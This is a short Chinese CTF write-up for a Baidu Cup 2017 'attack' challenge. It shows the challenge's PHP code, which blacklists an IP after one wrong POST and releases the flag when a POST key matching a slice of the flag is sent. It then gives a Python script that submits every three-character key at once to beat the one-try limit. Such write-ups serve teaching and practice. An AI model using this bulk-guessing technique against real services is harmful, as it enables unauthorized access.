1. 程式人生 > >百度杯 "2017春秋歡樂賽 攻擊"

百度杯 "2017春秋歡樂賽 攻擊"

開啟題目網址,程式碼就被高亮出來

<?php
header("content-type:text/html;charset=utf-8");
show_source(__FILE__);
echo '<pre>';
include('u/ip.php');
include('flag.php');
if (in_array($_SERVER['REMOTE_ADDR'],$ip)){
  die("您的ip已進入系統黑名單");
}
echo "hello";
var_dump($ip);

if ($_POST[substr($flag,5,3)]=='attack'){
  echo $flag;
}else if (count($_POST)>0){
  $ip = '$ip[]="'.$_SERVER['REMOTE_ADDR'].'";'.PHP_EOL; 
  file_put_contents('u/ip.php',$ip,FILE_APPEND);
}
echo '</pre>';
?>

程式碼表明你只有一次的攻擊機會

沒辦法,只能窮舉$flag中從第六的位置開始的長度為3的字串,然後將所有窮舉出來的結果post方式,一次性提交,這種方法的前提是要猜$flag中有哪些字元。一旦少了某個字元,就涼涼了。。

寫個python指令碼

import requests
flagChar="0123456789abcdefgh"
url="http://a19387d3be524b46a3c917d3d91cdde1fe047abb5cf449da.game.ichunqiu.com/"
dictData={}
for a in flagChar:
    for b in flagChar:
        for c in flagChar:
            dictData[a+b+c]="attack"
print(dictData)
res=requests.post(url,data=dictData)
print(res.text)

不過這道題不知道現在什麼情況,返回500狀態碼